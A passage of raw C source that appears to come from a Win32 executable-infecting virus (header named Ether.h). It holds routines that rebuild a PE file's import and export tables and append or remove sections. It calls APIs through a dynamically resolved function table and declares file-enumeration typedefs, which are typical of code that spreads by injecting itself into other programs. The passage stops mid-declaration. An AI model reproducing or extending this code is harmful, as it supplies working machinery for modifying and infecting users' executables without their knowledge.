PIMPORTED_FUNCTION_ABSTRACTION pCurrentImportedFunctionAbstraction; if(!bSupressIATRegeneration) { for(dwX=0, dwCurrentIATThunkOffset=dwIATThunksOffset, dwCurrentINTThunkOffset=dwINTThunksOffset, dwCurrentNameOffset=dwFunctionNamesOffset; pCurrentImportedModuleAbstraction != NULL; dwX++) { // Fill fields of this import descriptor. Write name into pool and set incomplete RVA pCurrentImageImportDescriptor->Characteristics=dwCurrentINTThunkOffset; pCurrentImageImportDescriptor->ForwarderChain=0; pCurrentImageImportDescriptor->TimeDateStamp=0; pCurrentImageImportDescriptor->ForwarderChain=0; pCurrentImageImportDescriptor->Name=(dwModuleNamesOffset + (512 * dwX)); pCurrentImageImportDescriptor->FirstThunk=dwCurrentIATThunkOffset; if(pCurrentImportedModuleAbstraction->pModuleName != NULL) { pAPITable->lstrcpyA((pIATPool + pCurrentImageImportDescriptor->Name), pCurrentImportedModuleAbstraction->pModuleName); } else { break; } pCurrentImportedFunctionAbstraction=pCurrentImportedModuleAbstraction->pImportedFunctionAbstractionList; pCurrentIATImageThunkData=(PIMAGE_THUNK_DATA)((PBYTE)pIATPool + dwCurrentIATThunkOffset); pCurrentINTImageThunkData=(PIMAGE_THUNK_DATA)((PBYTE)pIATPool + dwCurrentINTThunkOffset); for(dwY=0; pCurrentImportedFunctionAbstraction != NULL; dwY++) { if(pCurrentImportedFunctionAbstraction->pFunctionName != NULL) { pCurrentIATImageThunkData->u1.AddressOfData=dwCurrentNameOffset; pCurrentINTImageThunkData->u1.AddressOfData=dwCurrentNameOffset; pAPITable->lstrcpyA((pIATPool + pCurrentIATImageThunkData->u1.AddressOfData) + sizeof(WORD), pCurrentImportedFunctionAbstraction->pFunctionName); PWORD pwHint=(pIATPool + pCurrentIATImageThunkData->u1.AddressOfData); *pwHint=pCurrentImportedFunctionAbstraction->wHint; dwCurrentNameOffset += (512 + sizeof(WORD)); dwCurrentIATThunkOffset += sizeof(IMAGE_THUNK_DATA); dwCurrentINTThunkOffset += sizeof(IMAGE_THUNK_DATA); pCurrentIATImageThunkData++; pCurrentINTImageThunkData++; } else { pCurrentIATImageThunkData->u1.AddressOfData=(0x80000000|pCurrentImportedFunctionAbstraction->wOrdinal); pCurrentINTImageThunkData->u1.AddressOfData=(0x80000000|pCurrentImportedFunctionAbstraction->wOrdinal); dwCurrentIATThunkOffset += sizeof(IMAGE_THUNK_DATA); dwCurrentINTThunkOffset += sizeof(IMAGE_THUNK_DATA); pCurrentIATImageThunkData++; pCurrentINTImageThunkData++; } pCurrentImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction->pNextImportedFunctionAbstraction; } dwCurrentIATThunkOffset += sizeof(IMAGE_THUNK_DATA); // Thunk must be blank to end this descriptor's chain dwCurrentINTThunkOffset += sizeof(IMAGE_THUNK_DATA); pCurrentImportedModuleAbstraction=pCurrentImportedModuleAbstraction->pNextImportedModuleAbstraction; pCurrentImageImportDescriptor++; } pCurrentImageImportDescriptor=(PIMAGE_IMPORT_DESCRIPTOR)pIATPool; pCurrentImportedModuleAbstraction=pImportAbstractions->pFirstImportedModuleAbstraction; while(pCurrentImageImportDescriptor->FirstThunk) { pCurrentIATImageThunkData=(pIATPool + pCurrentImageImportDescriptor->FirstThunk); pCurrentImportedFunctionAbstraction=pCurrentImportedModuleAbstraction->pImportedFunctionAbstractionList; while(pCurrentIATImageThunkData->u1.AddressOfData) { pCurrentImportedFunctionAbstraction->dwNewIATEntryRVA=(DWORD)pCurrentIATImageThunkData - (DWORD)pIATPool + dwIATRVA; pCurrentImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction->pNextImportedFunctionAbstraction; pCurrentIATImageThunkData++; } pCurrentImageImportDescriptor->Name += dwIATRVA; pCurrentINTImageThunkData=(pIATPool + pCurrentImageImportDescriptor->Characteristics); pCurrentIATImageThunkData=(pIATPool + pCurrentImageImportDescriptor->FirstThunk); pCurrentImportedFunctionAbstraction=pCurrentImportedModuleAbstraction->pImportedFunctionAbstractionList; while(pCurrentIATImageThunkData->u1.AddressOfData) { if(pCurrentImportedFunctionAbstraction->pFunctionName != NULL) { pCurrentIATImageThunkData->u1.AddressOfData += dwIATRVA; pCurrentINTImageThunkData->u1.AddressOfData += dwIATRVA; } pCurrentImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction->pNextImportedFunctionAbstraction; pCurrentIATImageThunkData++; pCurrentINTImageThunkData++; } pCurrentImageImportDescriptor->FirstThunk += dwIATRVA; pCurrentImageImportDescriptor->Characteristics += dwIATRVA; //pCurrentImageImportDescriptor->Characteristics=0; pCurrentImportedModuleAbstraction=pCurrentImportedModuleAbstraction->pNextImportedModuleAbstraction; pCurrentImageImportDescriptor++; } } *ppPool=pIATPool; *pdwPoolSize=dwIATPoolSize; return; } PIMPORT_ABSTRACTION_TABLE GetAbstractionsFromIAT32 (PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PBYTE pIATPool) { PIMAGE_IMPORT_DESCRIPTOR pCurrentImageImportDescriptor=(PIMAGE_IMPORT_DESCRIPTOR)pIATPool; PIMPORTED_MODULE_ABSTRACTION pCurrentImportedModuleAbstraction=NULL, pPreviousImportedModuleAbstraction=NULL; DWORD dwTotalNumberOfModules=0, dwTotalNumberOfFunctions=0; PIMPORT_ABSTRACTION_TABLE pImportAbstractions=pAPITable->GlobalAlloc(GPTR, sizeof(IMPORT_ABSTRACTION_TABLE)); while(pCurrentImageImportDescriptor->FirstThunk) { PCHAR pModuleName=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pCurrentImageImportDescriptor->Name); pCurrentImportedModuleAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(IMPORTED_MODULE_ABSTRACTION)); if(pImportAbstractions->pFirstImportedModuleAbstraction == NULL) { pImportAbstractions->pFirstImportedModuleAbstraction=pCurrentImportedModuleAbstraction; } else { pPreviousImportedModuleAbstraction->pNextImportedModuleAbstraction=pCurrentImportedModuleAbstraction; pCurrentImportedModuleAbstraction->pPreviousImportedModuleAbstraction=pPreviousImportedModuleAbstraction; } pCurrentImportedModuleAbstraction->pModuleName=pAPITable->GlobalAlloc(GPTR, pAPITable->lstrlenA(pModuleName) + 1); pAPITable->lstrcpyA(pCurrentImportedModuleAbstraction->pModuleName, pModuleName); PIMAGE_THUNK_DATA pCurrentPhysicalImageIATThunkData=(PIMAGE_THUNK_DATA)SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pCurrentImageImportDescriptor->FirstThunk), pCurrentVirtualImageIATThunkData=pCurrentImageImportDescriptor->FirstThunk; PIMPORTED_FUNCTION_ABSTRACTION pCurrentImportedFunctionAbstraction=NULL, pPreviousImportedFunctionAbstraction=NULL; while(pCurrentPhysicalImageIATThunkData->u1.AddressOfData) { PCHAR pFunctionName=NULL; WORD wOrdinal; PWORD pwHint; if(pCurrentPhysicalImageIATThunkData->u1.AddressOfData & 0x80000000) { //printf("[*] Current function is being resolved by ordinal (0x%04x)\r\n", (pCurrentPhysicalImageIATThunkData->u1.AddressOfData & 0x0FFFFFFF), pModuleName); wOrdinal=((pCurrentPhysicalImageIATThunkData->u1.AddressOfData & 0x0FFFFFFF)); } else { pwHint=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pCurrentPhysicalImageIATThunkData->u1.AddressOfData); pFunctionName=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pCurrentPhysicalImageIATThunkData->u1.AddressOfData + sizeof(WORD)); } pCurrentImportedFunctionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(IMPORTED_FUNCTION_ABSTRACTION)); if(pCurrentImportedModuleAbstraction->pImportedFunctionAbstractionList == NULL) { pCurrentImportedModuleAbstraction->pImportedFunctionAbstractionList=pCurrentImportedFunctionAbstraction; } else { pPreviousImportedFunctionAbstraction->pNextImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction; pCurrentImportedFunctionAbstraction->pPreviousImportedFunctionAbstraction=pPreviousImportedFunctionAbstraction; } if(pFunctionName != NULL) { pCurrentImportedFunctionAbstraction->pFunctionName=pAPITable->GlobalAlloc(GPTR, pAPITable->lstrlenA(pFunctionName) + 1); pAPITable->lstrcpyA(pCurrentImportedFunctionAbstraction->pFunctionName, pFunctionName); pCurrentImportedFunctionAbstraction->wHint=*pwHint; } else { pCurrentImportedFunctionAbstraction->wOrdinal=wOrdinal; } pCurrentImportedFunctionAbstraction->dwOriginalIATEntryRVA=pCurrentVirtualImageIATThunkData; pCurrentImportedFunctionAbstraction->pContainerImportedModuleAbstraction=pCurrentImportedModuleAbstraction; //printf("[*] Enumerated function: %s\r\n", pFunctionName); pPreviousImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction; dwTotalNumberOfFunctions++; pCurrentImportedModuleAbstraction->dwNumberOfFunctions++; pCurrentVirtualImageIATThunkData++; pCurrentPhysicalImageIATThunkData++; } pPreviousImportedModuleAbstraction=pCurrentImportedModuleAbstraction; dwTotalNumberOfModules++; pCurrentImageImportDescriptor++; } pImportAbstractions->dwTotalNumberOfModules=dwTotalNumberOfModules; pImportAbstractions->dwTotalNumberOfFunctions=dwTotalNumberOfFunctions; return pImportAbstractions; } VOID FreeIATAbstractions32 (PAPI_TABLE pAPITable, PIMPORT_ABSTRACTION_TABLE pImportAbstractions) { PIMPORTED_MODULE_ABSTRACTION pCurrentImportedModuleAbstraction=(pImportAbstractions == NULL ? NULL : pImportAbstractions->pFirstImportedModuleAbstraction), pNextImportedModuleAbstraction=NULL; for(; pCurrentImportedModuleAbstraction != NULL; pCurrentImportedModuleAbstraction=pNextImportedModuleAbstraction) { PIMPORTED_FUNCTION_ABSTRACTION pCurrentImportedFunctionAbstraction=pCurrentImportedModuleAbstraction->pImportedFunctionAbstractionList, pNextImportedFunctionAbstraction=NULL; for(; pCurrentImportedFunctionAbstraction != NULL; pCurrentImportedFunctionAbstraction=pNextImportedFunctionAbstraction) { if(pCurrentImportedFunctionAbstraction->pFunctionName != NULL) { pAPITable->GlobalFree(pCurrentImportedFunctionAbstraction->pFunctionName); } pNextImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction->pNextImportedFunctionAbstraction; pAPITable->GlobalFree(pCurrentImportedFunctionAbstraction); } if(pCurrentImportedModuleAbstraction->pModuleName != NULL) { pAPITable->GlobalFree(pCurrentImportedModuleAbstraction->pModuleName); } pNextImportedModuleAbstraction=pCurrentImportedModuleAbstraction->pNextImportedModuleAbstraction; pAPITable->GlobalFree(pCurrentImportedModuleAbstraction); } //pAPITable->GlobalFree(pImportAbstractions); return; } BOOL AddPE32Section (PAPI_TABLE pAPITable, PBYTE *ppTargetPE32Pool, PDWORD pdwTargetPE32PoolSize, PBYTE pNewSectionName, DWORD dwNewSectionCharecteristics, PBYTE pNewSectionData, DWORD dwNewVirtualSectionDataSize, DWORD dwNewRawSectionDataSize) { PBYTE pTargetPE32Pool=*ppTargetPE32Pool, pAugmentedPE32Pool; PIMAGE_DOS_HEADER pTargetImageDOSHeader=pTargetPE32Pool; PIMAGE_FILE_HEADER pTargetImageFileHeader=((PBYTE)pTargetImageDOSHeader + pTargetImageDOSHeader->e_lfanew + 4); PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader=((PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER)); PIMAGE_SECTION_HEADER pTargetImageSectionHeader=((PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); DWORD dwTargetPE32LastSectionIndex=(pTargetImageFileHeader->NumberOfSections - 1), dwTargetPE32PoolSize=*pdwTargetPE32PoolSize, dwSectionAlignedOldLastSectionSize, dwFileAlignedNewRawSectionDataSize=0, dwLastPhysicalSectionIndex, dwAugmentedPE32PoolSize; if(((pTargetImageFileHeader->NumberOfSections * sizeof(IMAGE_SECTION_HEADER)) + sizeof(IMAGE_SECTION_HEADER) + (PBYTE)pTargetImageSectionHeader - pTargetPE32Pool) > pTargetImageOptionalHeader->SizeOfHeaders) { return FALSE; } // Create new section header if there is space for it if((pTargetImageSectionHeader + dwTargetPE32LastSectionIndex)->Misc.VirtualSize > (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex)->SizeOfRawData) { dwSectionAlignedOldLastSectionSize=(pTargetImageSectionHeader + dwTargetPE32LastSectionIndex)->Misc.VirtualSize; } else { dwSectionAlignedOldLastSectionSize=(pTargetImageSectionHeader + dwTargetPE32LastSectionIndex)->SizeOfRawData; } for(; dwSectionAlignedOldLastSectionSize % pTargetImageOptionalHeader->SectionAlignment != 0; dwSectionAlignedOldLastSectionSize++); if(dwNewRawSectionDataSize != 0) { for(dwFileAlignedNewRawSectionDataSize=(dwNewRawSectionDataSize < dwNewVirtualSectionDataSize ? dwNewVirtualSectionDataSize : dwNewRawSectionDataSize); dwFileAlignedNewRawSectionDataSize % pTargetImageOptionalHeader->FileAlignment != 0; dwFileAlignedNewRawSectionDataSize++); } pAPITable->lstrcpyA((pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->Name, pNewSectionName); if(dwNewRawSectionDataSize != 0) { for(dwLastPhysicalSectionIndex=dwTargetPE32LastSectionIndex; (pTargetImageSectionHeader + dwLastPhysicalSectionIndex)->PointerToRawData == 0;) { // The previous section had no physical pointer. Walk backwards until a valid raw address is found. dwLastPhysicalSectionIndex--; } (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->PointerToRawData=((pTargetImageSectionHeader + dwLastPhysicalSectionIndex)->PointerToRawData + (pTargetImageSectionHeader + dwLastPhysicalSectionIndex)->SizeOfRawData); } (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->VirtualAddress=((pTargetImageSectionHeader + dwTargetPE32LastSectionIndex)->VirtualAddress + dwSectionAlignedOldLastSectionSize); (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->Misc.VirtualSize=dwNewVirtualSectionDataSize; (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->SizeOfRawData=dwFileAlignedNewRawSectionDataSize; (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->Characteristics=dwNewSectionCharecteristics; (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->PointerToRelocations=0; (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->PointerToLinenumbers=0; (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->NumberOfRelocations=0; (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->NumberOfLinenumbers=0; // Refresh PE context to accomodate the new aligned section size dwAugmentedPE32PoolSize=dwTargetPE32PoolSize; if(dwNewRawSectionDataSize != 0) { dwAugmentedPE32PoolSize=((pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->PointerToRawData + (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->SizeOfRawData); } pAugmentedPE32Pool=pAPITable->GlobalAlloc(GPTR, dwAugmentedPE32PoolSize); RelocateMemory(pAugmentedPE32Pool, pTargetPE32Pool, dwTargetPE32PoolSize); pAPITable->GlobalFree(pTargetPE32Pool); PIMAGE_DOS_HEADER pAugmentedImageDOSHeader=pAugmentedPE32Pool; PIMAGE_FILE_HEADER pAugmentedImageFileHeader=((PBYTE)pAugmentedImageDOSHeader + pAugmentedImageDOSHeader->e_lfanew + 4); PIMAGE_OPTIONAL_HEADER pAugmentedImageOptionalHeader=((PBYTE)pAugmentedImageFileHeader + sizeof(IMAGE_FILE_HEADER)); PIMAGE_SECTION_HEADER pAugmentedImageSectionHeader=((PBYTE)pAugmentedImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); DWORD dwAugmentedPE32LastSectionIndex=(pAugmentedImageFileHeader->NumberOfSections - 1); if(dwNewRawSectionDataSize != 0) { // Append new section data to the refreshed pool RelocateMemory(pAugmentedPE32Pool + (pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex + 1)->PointerToRawData, pNewSectionData, dwNewRawSectionDataSize); } // Update additional PE32 header values pAugmentedImageFileHeader->NumberOfSections++; dwAugmentedPE32LastSectionIndex++; pAugmentedImageOptionalHeader->SizeOfImage=((pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->VirtualAddress + (pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->SizeOfRawData); *ppTargetPE32Pool=pAugmentedPE32Pool; *pdwTargetPE32PoolSize=dwAugmentedPE32PoolSize; return TRUE; } BOOL RemovePE32Section (PAPI_TABLE pAPITable, PBYTE *ppTargetPE32Pool, PDWORD pdwTargetPE32PoolSize, DWORD dwSectionIndex) { PBYTE pTargetPE32Pool=*ppTargetPE32Pool, pAugmentedPE32Pool=*ppTargetPE32Pool; PIMAGE_DOS_HEADER pTargetImageDOSHeader=pTargetPE32Pool; PIMAGE_FILE_HEADER pTargetImageFileHeader=((PBYTE)pTargetImageDOSHeader + pTargetImageDOSHeader->e_lfanew + 4); PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader=((PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER)); PIMAGE_SECTION_HEADER pTargetImageSectionHeader=((PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); DWORD dwTargetPE32LastSectionIndex=(pTargetImageFileHeader->NumberOfSections - 1), dwTargetPE32PoolSize=*pdwTargetPE32PoolSize, dwAugmentedPE32Size=*pdwTargetPE32PoolSize; CHAR TargetSectionName[256]; // Section to be removed must be the last section if(dwSectionIndex != dwTargetPE32LastSectionIndex) { return FALSE; } pAPITable->lstrcpyA(TargetSectionName, (pTargetImageSectionHeader + dwSectionIndex)->Name); // Zero out section data if((pTargetImageSectionHeader + dwSectionIndex)->PointerToRawData && (pTargetImageSectionHeader + dwSectionIndex)->SizeOfRawData) { WipeMemory(pTargetPE32Pool + (pTargetImageSectionHeader + dwSectionIndex)->PointerToRawData, (pTargetImageSectionHeader + dwSectionIndex)->SizeOfRawData); } // Remove section header DWORD dwSuffixSectionHeadersSize=(sizeof(IMAGE_SECTION_HEADER) * (pTargetImageFileHeader->NumberOfSections - (dwSectionIndex + 1))); WipeMemory((pTargetImageSectionHeader + dwSectionIndex), sizeof(IMAGE_SECTION_HEADER)); if(dwSuffixSectionHeadersSize != 0) { //printf("[*] Removing suffix header...\r\n"); RelocateMemory((pTargetImageSectionHeader + dwSectionIndex), (pTargetImageSectionHeader + dwSectionIndex + 1), dwSuffixSectionHeadersSize); } pTargetImageFileHeader->NumberOfSections--; dwTargetPE32LastSectionIndex--; pTargetImageOptionalHeader->SizeOfImage=((pTargetImageSectionHeader + dwTargetPE32LastSectionIndex)->VirtualAddress + (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex)->Misc.VirtualSize); DWORD dwLastPhysicalSectionIndex=dwTargetPE32LastSectionIndex; while((pTargetImageSectionHeader + dwLastPhysicalSectionIndex)->PointerToRawData == 0) { // The previous section had no physical pointer. Walk backwards until a valid raw address is found. //printf("[*] %s section does not have a physical pointer. Checking previous header for one...\r\n", (pTargetImageSectionHeader + dwLastPhysicalSectionIndex)->Name); dwLastPhysicalSectionIndex--; } dwAugmentedPE32Size=((pTargetImageSectionHeader + dwLastPhysicalSectionIndex)->PointerToRawData + (pTargetImageSectionHeader + dwLastPhysicalSectionIndex)->SizeOfRawData); if(dwAugmentedPE32Size > dwTargetPE32PoolSize) { // Generally, the size of the PE32 should be getting smaller. However, it may grow in the event of the previous sections raw size growing due to augmentation. //printf("[*] The size of the augmented PE32 pool grew from %d to %d during removal of %s section.\r\n", dwTargetPE32PoolSize, dwAugmentedPE32Size, TargetSectionName); pAugmentedPE32Pool=pAPITable->GlobalAlloc(GPTR, dwAugmentedPE32Size); RelocateMemory(pAugmentedPE32Pool, pTargetPE32Pool, dwTargetPE32PoolSize); pAPITable->GlobalFree(pTargetPE32Pool); } //printf("[*] Augmented PE32 pool size after the removal of section %s: %d\r\n", TargetSectionName, dwAugmentedPE32Size); *ppTargetPE32Pool=pAugmentedPE32Pool; *pdwTargetPE32PoolSize=dwAugmentedPE32Size; return TRUE; } BOOL CreateEATSectionFromAbstractions32 (PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PEXPORT_ABSTRACTION pExportAbstractions, PBYTE *ppPool, PDWORD pdwPoolSize, DWORD dwTotalNumberOfExports, DWORD dwNumberOfExportNames, PCHAR pExportsName, DWORD dwEATRVA, DWORD dwExportSectionIndex, BOOL bTargetPE32Complete) { PIMAGE_DOS_HEADER pTargetImageDOSHeader=pTargetPE32Pool; PIMAGE_FILE_HEADER pTargetImageFileHeader=((PBYTE)pTargetImageDOSHeader + pTargetImageDOSHeader->e_lfanew + 4); PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader=((PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER)); PIMAGE_SECTION_HEADER pTargetImageSectionHeader=((PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); DWORD dwFunctionNameAddressTableOffset, dwOrdinalTableOffset, dwFunctionAddressTableOffset, dwFunctionNamesTableOffset, dwTargetPE32LastSectionIndex=(pTargetImageFileHeader->NumberOfSections - 1); dwFunctionNameAddressTableOffset=(sizeof(IMAGE_EXPORT_DIRECTORY)); dwOrdinalTableOffset=(dwFunctionNameAddressTableOffset + (dwTotalNumberOfExports * 4)); dwFunctionAddressTableOffset=(dwOrdinalTableOffset + (dwTotalNumberOfExports * 2)); dwFunctionNamesTableOffset=(dwFunctionAddressTableOffset + (dwTotalNumberOfExports * 4)); /* ___________________________ | IMAGE_EXPORT_DIRECTORY | |_________________________| | Name RVA array | |_________________________| | Ordinal array | |_________________________| | Function RVA array | |_________________________| | Function names. Note | | that each of these is | | a max of 128 bytes long | |_________________________| */ DWORD dwEATPoolSize=(dwFunctionNamesTableOffset + ((dwTotalNumberOfExports + 1) * 128)); PBYTE pEATPool=pAPITable->GlobalAlloc(GPTR, dwEATPoolSize); PIMAGE_EXPORT_DIRECTORY pImageExportDirectory=(PIMAGE_EXPORT_DIRECTORY)pEATPool; pImageExportDirectory->TimeDateStamp=0; pImageExportDirectory->NumberOfNames=dwNumberOfExportNames; pImageExportDirectory->NumberOfFunctions=dwTotalNumberOfExports; pImageExportDirectory->Name=(dwEATRVA + (dwEATPoolSize - 128)); pImageExportDirectory->MinorVersion=0; pImageExportDirectory->MajorVersion=0; pImageExportDirectory->Characteristics=0; pImageExportDirectory->Base=1; pImageExportDirectory->AddressOfNames=(dwEATRVA + dwFunctionNameAddressTableOffset); pImageExportDirectory->AddressOfNameOrdinals=(dwEATRVA + dwOrdinalTableOffset); pImageExportDirectory->AddressOfFunctions=(dwEATRVA + dwFunctionAddressTableOffset); PCHAR pCurrentExportsName=(pEATPool + (dwEATPoolSize - 128)); PWORD pwOrdinalTable=(pEATPool + dwOrdinalTableOffset); PDWORD pdwFunctionAddressTable=(pEATPool + dwFunctionAddressTableOffset); PDWORD pdwFunctionNameAddressTable=(pEATPool + dwFunctionNameAddressTableOffset); PEXPORT_ABSTRACTION pCurrentExportAbstraction=pExportAbstractions; DWORD dwCurrentExportIndex, dwCurrentExportNameIndex; PX86_INSTRUCTION_ABSTRACTION pInitialFunctionX86InstructionAbstraction; PCHAR pCurrentExportName; pAPITable->lstrcpyA(pCurrentExportsName, pExportsName); for(dwCurrentExportIndex=0; pCurrentExportAbstraction != NULL; dwCurrentExportIndex++) { if(pCurrentExportAbstraction->pName != NULL) { pCurrentExportName=(pEATPool + (dwFunctionNamesTableOffset + (128 * dwCurrentExportIndex))); pwOrdinalTable[pCurrentExportAbstraction->wOrdinalIndex]=dwCurrentExportIndex; pAPITable->lstrcpyA(pCurrentExportName, pCurrentExportAbstraction->pName); pdwFunctionNameAddressTable[pCurrentExportAbstraction->wOrdinalIndex]=(dwEATRVA + (dwFunctionNamesTableOffset + (128 * dwCurrentExportIndex))); } if((pCurrentExportAbstraction->dwExportedFunctionSectionIndex < dwExportSectionIndex || bTargetPE32Complete) && pCurrentExportAbstraction->dwExportedFunctionSectionIndex != -1) { // Only attempt to calculate the exported function if its RVA is before the export section or the augmented PE32 is complete if(pCurrentExportAbstraction->pLocationSymbol == NULL) { pdwFunctionAddressTable[dwCurrentExportIndex]=(((pTargetImageSectionHeader + pCurrentExportAbstraction->dwExportedFunctionSectionIndex)->VirtualAddress + pCurrentExportAbstraction->dwExportedFunctionSectionOffset)); } else { pInitialFunctionX86InstructionAbstraction=pCurrentExportAbstraction->pLocationSymbol; pdwFunctionAddressTable[dwCurrentExportIndex]=((pTargetImageSectionHeader + pCurrentExportAbstraction->dwExportedFunctionSectionIndex)->VirtualAddress + pInitialFunctionX86InstructionAbstraction->dwInstructionOffset); } } pCurrentExportAbstraction=pCurrentExportAbstraction->pNextExportAbstraction; } *ppPool=pEATPool; *pdwPoolSize=dwEATPoolSize; return TRUE; } PEXPORT_ABSTRACTION_TABLE GetAbstractionsFromEAT32 (PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, DWORD dwExportSectionIndex) { PEXPORT_ABSTRACTION pFirstExportAbstraction=NULL, pCurrentExportAbstraction=NULL, pPreviousExportAbstraction=NULL; DWORD dwX, dwY; PWORD pwOrdinalTable=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pImageExportDirectory->AddressOfNameOrdinals); PCHAR *ppNameTable=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pImageExportDirectory->AddressOfNames), pExportsName=NULL; PDWORD pdwFunctionTable=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pImageExportDirectory->AddressOfFunctions); PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable; if(pImageExportDirectory->Name != 0) { PCHAR pCurrentExportsName=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pImageExportDirectory->Name); pExportsName=pAPITable->GlobalAlloc(GPTR, pAPITable->lstrlenA(pCurrentExportsName) + 1); pAPITable->lstrcpyA(pExportsName, pCurrentExportsName); } for(dwX=0; dwX < pImageExportDirectory->NumberOfFunctions; dwX++) { PCHAR pCurrentFunctionName=NULL; DWORD dwExportedFunctionEnclosingSectionHeaderIndex; BOOL bSectionEndReference; PIMAGE_SECTION_HEADER pExportedFunctionEnclosingSectionHeader=GetEnclosingSectionHeader(pTargetImageSectionHeader, dwNumberOfSections, pdwFunctionTable[dwX], &dwExportedFunctionEnclosingSectionHeaderIndex, &bSectionEndReference); pCurrentExportAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(EXPORT_ABSTRACTION)); if(pFirstExportAbstraction == NULL) { pFirstExportAbstraction=pCurrentExportAbstraction; } else { pPreviousExportAbstraction->pNextExportAbstraction=pCurrentExportAbstraction; } pPreviousExportAbstraction=pCurrentExportAbstraction; pCurrentExportAbstraction->dwExportedFunctionSectionIndex=-1; if(pdwFunctionTable[dwX] != 0) { if(pExportedFunctionEnclosingSectionHeader == NULL) { return NULL; } if(dwExportedFunctionEnclosingSectionHeaderIndex >= dwExportSectionIndex) { return NULL; } for(dwY=0; dwY < pImageExportDirectory->NumberOfNames; dwY++) { if(pwOrdinalTable[dwY] == dwX) { pCurrentFunctionName=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, ppNameTable[dwY]); pCurrentExportAbstraction->pName=pAPITable->GlobalAlloc(GPTR, pAPITable->lstrlenA(pCurrentFunctionName) + 1); pCurrentExportAbstraction->wOrdinalIndex=dwY; pAPITable->lstrcpyA(pCurrentExportAbstraction->pName, pCurrentFunctionName); break; } } pCurrentExportAbstraction->dwExportedFunctionSectionIndex=dwExportedFunctionEnclosingSectionHeaderIndex; pCurrentExportAbstraction->dwExportedFunctionSectionOffset=(pdwFunctionTable[dwX] - pExportedFunctionEnclosingSectionHeader->VirtualAddress); } } pExportAbstractionTable=pAPITable->GlobalAlloc(GPTR, sizeof(EXPORT_ABSTRACTION_TABLE)); pExportAbstractionTable->pExportAbstractions=pFirstExportAbstraction; pExportAbstractionTable->dwTotalNumberOfExports=dwX; pExportAbstractionTable->pExportsName=pExportsName; pExportAbstractionTable->dwNumberOfExportNames=pImageExportDirectory->NumberOfNames; return pExportAbstractionTable; } VOID FreeEATAbstractions32 (PAPI_TABLE pAPITable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable) { if(pExportAbstractionTable != NULL) { PEXPORT_ABSTRACTION pCurrentExportAbstraction=pExportAbstractionTable->pExportAbstractions, pNextExportAbstraction=NULL; if(pExportAbstractionTable->pExportsName != NULL) { pAPITable->GlobalFree(pExportAbstractionTable->pExportsName); } for(; pCurrentExportAbstraction != NULL; pCurrentExportAbstraction=pNextExportAbstraction) { if(pCurrentExportAbstraction->pName != NULL) { pAPITable->GlobalFree(pCurrentExportAbstraction->pName); } pNextExportAbstraction=pCurrentExportAbstraction->pNextExportAbstraction; pAPITable->GlobalFree(pCurrentExportAbstraction); } pAPITable->GlobalFree(pExportAbstractionTable); } return; } [Ether.h] //#define DEBUG //#define MSGBOX typedef HANDLE (WINAPI *FINDFIRSTFILEW)(PCHAR, LPWIN32_FIND_DATAW); typedef BOOL (WINAPI *FINDNEXTFILEW)(HANDLE, 